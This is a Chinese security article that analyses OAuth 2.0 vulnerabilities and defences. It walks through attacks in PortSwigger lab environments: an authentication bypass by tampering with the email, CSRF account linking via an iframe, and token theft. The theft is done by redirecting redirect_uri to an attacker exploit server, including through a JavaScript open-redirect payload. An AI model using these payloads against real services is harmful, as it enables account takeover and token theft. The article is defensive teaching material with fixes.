freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

OAuth2.0协议安全性分析及防御思路总结 (上)
2021-08-05 19:16:32

1 背景

OAuth2.0是授权的工业标准协议,该协议允许第三方应用程序对HTTP服务进行有限访问。本文首先分别从应用场景、对比优势、授权模式等方面对OAuth2.0协议进行介绍,然后分析了OAuth2.0的安全性,最后进行了安全问题防御的总结,为实际防护提供了思路。

2 OAuth2.0介绍

2.1 OAuth2.0应用场景

OAuth2.0协议作为一个开放标准的协议框架,被广泛应用于多种业务场景中,分别如下:

应用于第三方应用登录场景中,将受保护的用户资源授权给第三方信任用户。

应用于多服务场景中,进行服务的统一登录认证,对内部系统之间的资源请求进行鉴权。

应用于开发平台场景中,对系统敏感资源服务进行安全认证及资源保护。

以第三方登录场景为例。A平台上的用户U要去B平台上读取该用户的一些信息,这时候A平台需要获取用户允许读取B平台上信息的授权。如果直接让用户输入 B平台的登录用户名和密码,那么A平台为了用户后续的操作,会保存用户的密码,而且当像A平台这样的第三方平台比较多的时候,这种操作就存在严重的安全隐患了。 这就是 OAuth该发挥作用的场景了,OAuth 是一种授权机制,数据的所有者也(用户U)告诉系统(B平台或者授权服务器),同意授权第三方应用(A平台)进入系统(B平台),获取这些数据。系统(B平台或者授权服务器)产生一个短期的进入令牌(token),用来代替密码,供第三方应用(A平台)使用。

2.2 密码的局限性与OAuth2.0的优势

令牌(token)与密码(password)的作用是一样的,都可以进入系统,但是有三点差异。

令牌是短期的,到期会自动失效,用户自己无法修改。

令牌可以被数据所有者撤销,会立即失效 。

令牌权限有限制,密码一般是完整权限。

上面这些设计,保证了令牌既可以让第三方应用获得权限,同时又随时可控,不会危及系统安全。这就是 OAuth 2.0 的优点。

2.3 OAuth2.0原理

2.3.1 OAuth2.0 原理简介

OAuth在"客户端"与"服务提供商"之间,设置了一个授权层(authorization layer)。"客户端"不能直接登录"服务提供商",只能登录授权层,以此将用户与客户端区分开来。"客户端"登录授权层所用的令牌(token),与用户的密码不同。用户可以在登录的时候,指定授权层令牌的权限范围和有效期。 "客户端"登录授权层以后,"服务提供商"根据令牌的权限范围和有效期,向"客户端"开放用户储存的资料。 首先介绍OAuth2.0涉及到的几个对象

Client 第三方应用,比如微信小程序

Resource Owner 资源所有者,即用户

Authorization Server 授权服务器,即提供第三方登录服务的服务器

Resource Server 拥有资源信息的服务器,通常和授权服务器属于同一应用

2.3.2 OAuth2.0 流程分析

1627963190_6108bf36c192ee45bbbc5.png!small?1627963177912

用户打开客户端以后,客户端要求用户给予授权。

用户同意给予客户端授权。

客户端使用上一步获得的授权,向认证服务器申请令牌。

认证服务器对客户端进行认证以后,确认无误,同意发放令牌。

客户端使用令牌,向资源服务器申请获取资源。

资源服务器确认令牌无误,同意向客户端开放资源。

2.4 OAuth2.0 授权模式

OAuth2.0 一共有四种授权模式,安全问题大多在authorization code模式和implicit模式发生,因此本文只讨论这两种模式,如下图所示,两种模式的主要区别在于是否直接获取到access token,还是需要先获取到auth code。

2.4.1 authorization code 模式

1627963208_6108bf487152006008921.png!small?1627963195725

这是最常用的Oauth流程,适用于有后端的web应用。过程如下:

用户访问app client,这时候app client将用户重定向到第三方资源授权处,重定向链接(/auth?clientid=[]redirect_url=[]response_type=code....)包含OAuth格式标准,包含一个回调url,此处指定response_type为code

用户访问重定向链接,用户此时访问第三方资源服务,完成登录认证(如果未登录的话),并完成授权授权,并携带auth code

上一步如果成功,第三资源授权处会根据第一步的回调url,将用户重定向到app client处,并携带了auth code

client app携带auth code访问第三方资源,第三方资源会响应access token。

client app携带access token,就可以获取到第三方的资源。

2.4.2 implicit 模式

1627963225_6108bf595dee57c2eed90.png!small?1627963212559

对于纯前端的web应用,必须将令牌存储在前端,这时候就采用implicit模式,这个过程中没有授权码步骤。过程如下:

用户访问app client,这时候app client将用户重定向到第三方资源授权处,重定向链接(/auth?clientid=[]redirect_url=[]response_type=token....)包含OAuth格式标准,包含一个回调url,此处指定response_type为token

用户访问重定向链接,用户此时访问第三方资源服务,完成登录认证(如果未登录的话),并完成授权授权并直接返回auth token

client app携带access token,就可以获取到第三方的资源。

3 安全问题分析

本节内容分析了OAuth2.0协议常见的一些安全问题,以便读者了解原理进而进行防御。

3.1 授权服务器认证绕过

完成正常登录,获取第三方资源,假设获取第三方资源,通过一个用户的邮箱、用户ID来标识,但是第三方资源授权处没有很好的进行认证,则可以修改成其他用户的邮箱、ID,来获取其他用户的信息。具体步骤如下所示(只选取关键的请求报文演示过程):

1、重定向报文中,可以看到,使用的response_type为token,也就是implicit模式

GET /auth?client_id=aa5n3gw356du1ltuk7cxk&redirect_uri=https://ac971f231ef0890a8024057c00490099.web-security-academy.net/oauth-callback&response_type=token&nonce=1089005696&scope=openid%20profile%20email HTTP/1.1
Host: ac2c1f1c1ee989d280ae055902300066.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://ac971f231ef0890a8024057c00490099.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

2、完成认证过程,响应报文中返回access token,并重定向到client app

HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction=r3YiTute_9gkHb1KEVRf2; path=/interaction/r3YiTute_9gkHb1KEVRf2; expires=Thu, 24 Jun 2021 01:47:43 GMT; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=r3YiTute_9gkHb1KEVRf2; path=/auth/r3YiTute_9gkHb1KEVRf2; expires=Thu, 24 Jun 2021 01:47:43 GMT; samesite=lax; secure; httponly
Set-Cookie: _session=eeDlIZYnWn4HAQToec1k8; path=/; expires=Thu, 08 Jul 2021 01:37:43 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=eeDlIZYnWn4HAQToec1k8; path=/; expires=Thu, 08 Jul 2021 01:37:43 GMT; secure; httponly
Location: /interaction/r3YiTute_9gkHb1KEVRf2
Content-Type: text/html; charset=utf-8
Date: Thu, 24 Jun 2021 01:37:43 GMT
Connection: close
Content-Length: 99

Redirecting to <a href="/interaction/r3YiTute_9gkHb1KEVRf2">/interaction/r3YiTute_9gkHb1KEVRf2</a>.

完成正常登录流程后,用户wiener成功登录。

3、分析资源请求报文,用户携带access token以及当前用户的邮箱向client app resource server获取资源,此时resource server存在认证缺陷,只通过邮箱信息来认证用户,就可以通过篡改邮箱的方式来获取其他用户的信息。

POST /authenticate HTTP/1.1
Host: ac971f231ef0890a8024057c00490099.web-security-academy.net
Connection: close
Content-Length: 111
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/json
Origin: https://ac971f231ef0890a8024057c00490099.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ac971f231ef0890a8024057c00490099.web-security-academy.net/oauth-callback
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=OljMk8cU2eUQrGgpijmnO9GrJYuJ6AfC

{"email":"carlos@carlos-montoya.net","username":"wiener","token":"HjjzNFAiUeBUiMlHxBQjBFJZ-RwpDtv_bc7rZV46L_o"}

将此请求在原始的session中进行重放,可以发现成功以其他用户登录。

3.2 CSRF关联账号

该安全问题结合CSRF利用姿势,将自己的第三方账号信息和受害者的client app账号进行关联,导致可以用非法的第三方账号,登录受害者client app账号,此攻击发生在authorization code 授权模式中,其步骤如下所示(只选取关键的请求报文演示漏洞危害): 1、执行正常登录的流程,直到步获取到一个带auth code的url(在实验环境中是/oauth-linking?code=[...])截取这个url,终止下一步的请求访问,在此步骤中将获取到一个有效的auth code,如下请求所示,获取到了一个有效的auth code

GET /oauth-linking?code=4UjF5el_NCqqDhCFMqzD3IcBRT4lp3azF01xwtEArtz HTTP/1.1
Host: acab1ff81ebb348a800210f9001a0020.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://acab1ff81ebb348a800210f9001a0020.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=SayAHJbeFtbILtd7TzktpTA3NyIFJ5Qy

2、构造一个CSRF报文,其中的url使用上一步的url(注意需要保证上一步的auth code没有被使用,且没有过期)

<iframe src="https://acab1ff81ebb348a800210f9001a0020.web-security-academy.net/oauth-linking?code=4UjF5el_NCqqDhCFMqzD3IcBRT4lp3azF01xwtEArtz"></iframe>

3、将这个请求发送给受害者,受害者请求该链接后,会接着第一步进行未完成OAuth flow流程,从而将受害者的账号和非法账号进行关联。

修复方案:

在client app的重定向请求中/auth?clientid=[]redirect_url=[] 添加state参数,在用户向client app提交auth code响应的请求中同样带上之前的state参数,此时client app验证state参数的一致性,从而防止了此类攻击。

3.3 CSRF获取敏感信息

该方式也需要借助CSRF来实现。截取步骤一中的重定向请求url,修改redirect_url为恶意服务器url。构造CSRF EXP,EXP中的其中url为上一步的构造的url,欺骗受害者点击该EXP,当受害者在登录状态,发送该请求后,会在恶意服务器获取到redirect_url携带的token。步骤如下所示(只选取关键的请求报文演示漏洞危害):

1、正常登录应用,截取重定向请求url,其中的redirect_url是关键参数,在下一步响应中,会重定向至该链接并携带auth toekn

GET /auth?client_id=h1sg1k429hsf5z76pgjjo&redirect_uri=https://ac8f1f9d1ee7897d800c1c0600aa009f.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: acde1f8f1ec589b080151c8d0284009b.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://ac8f1f9d1ee7897d800c1c0600aa009f.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _session=YjUnuiZgMyzGo5tBcVTSh; _session.legacy=YjUnuiZgMyzGo5tBcVTSh

2、修改redirect_url为非法的url,并构造EXP,这里修改url为攻击者部署恶意url。

<iframe src="https://acde1f8f1ec589b080151c8d0284009b.web-security-academy.net/auth?client_id=h1sg1k429hsf5z76pgjjo&redirect_uri=https://ac231f381e058972808c1c49016200cc.web-security-academy.net/exploit&response_type=code&scope=openid%20profile%20email"></iframe>

3、发送构造的EXP给受害者,通过access log观察结果,可以看到成功获取到了受害者的auth token。 修复方案:在认证服务器上对redirect_url进行校验 但是也有一些方法可以进行绕过:比如参数污染、ssrf漏洞中的urlbypass思路、或者注册这样的localhost.evil-user.net域名

3.4 通过开放重定向获取敏感信息

继续通过redirect_url获取auth code的场景,但是在认证服务器上对redirect_url进行了校验,限制url为client app,这时候可以通过在client app中寻找open redirect漏洞,结合CSRF的利用姿势可以达到获取auth code的目的。步骤如下所示(只选取关键的请求报文演示漏洞危害): 1、寻找open redirect漏洞 在client app找到这样一个url,是存在open redirect漏洞的。

https://acdc1fc11e957db48049088c005c0046.web-security-academy.net/post/next?path=

在参数path后接任意的url,都可以重定向至该url,因此可以利用该方式来延续上一节的方式。 2、构造URL,和上一节一样,寻找重定向认证请求的url,重新设置redirect url参数,url如下所示

https://ac341f301e6b7dff808d088e02810062.web-security-academy.net/auth?client_id=aqs19gz1q5ifc5lx06u1u&redirect_uri=https://acdc1fc11e957db48049088c005c0046.web-security-academy.net/oauth-callback/../post/next?path=https://acf91fe41e6b7d4d80c408fa018c0034.web-security-academy.net/exploit&response_type=token&nonce=-535270160&scope=openid%20profile%20email

3、构造EXP

<script>
  if (!document.location.hash) {
    window.location = 'https://ac341f301e6b7dff808d088e02810062.web-security-academy.net/auth?client_id=aqs19gz1q5ifc5lx06u1u&redirect_uri=https://acdc1fc11e957db48049088c005c0046.web-security-academy.net/oauth-callback/../post/next?path=https://acf91fe41e6b7d4d80c408fa018c0034.web-security-academy.net/exploit&response_type=token&nonce=-535270160&scope=openid%20profile%20email'
  } else {
    window.location = '/?'+document.location.hash.substr(1)
  }
</script>

4、检查access log,可以获取到auth code。

修复方案:

在authorization code 模式中,可以设计认证服务器对第一次认证请求提交的redirect_url参数,同时要求通过auth code获取access token的步骤中,同时提交redirect url,由于此时的通信过程是服务端到服务端的,攻击者无法伪造,认证服务器再将url和初始的收到redirect url进行比对,就保证了该攻击无法进行。

4 OAuth2.0 漏洞防御总结

防御OAuth2.0漏洞,需要从client和Authorization Server两方面入手,无论是什么授权模式,均有可能通过client端或Authorization Server实施不当引起安全漏洞。因此在设计上,需要开发者严格实施OAuth2.0 安全功能模块。

4.1 Authorization Server防御总结

使用白名单验证redirect_url参数

验证是否使用state参数

验证access token和client_id是否匹配,同时在资源请求中同时验证access token的访问范围

4.2 client 端防御总结

使用state参数

修复client端的开放重定向漏洞,防止在Referer头中泄露auth code

同时向/token 和 /authorization 端发送redirect_uri参数

5 总结

本文分析了OAuth2.0协议常见的安全问题及防御思路,为安全人员提供了思路,在实战中可结合具体的应用进行攻防研究。

参考资料:

1、https://portswigger.net/web-security/oauth/preventing

2、http://oauth.net/2/

作者:中兴沉烽实验室_jqz、中兴沉烽实验室_流光奕然
# web安全 # OAuth2
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录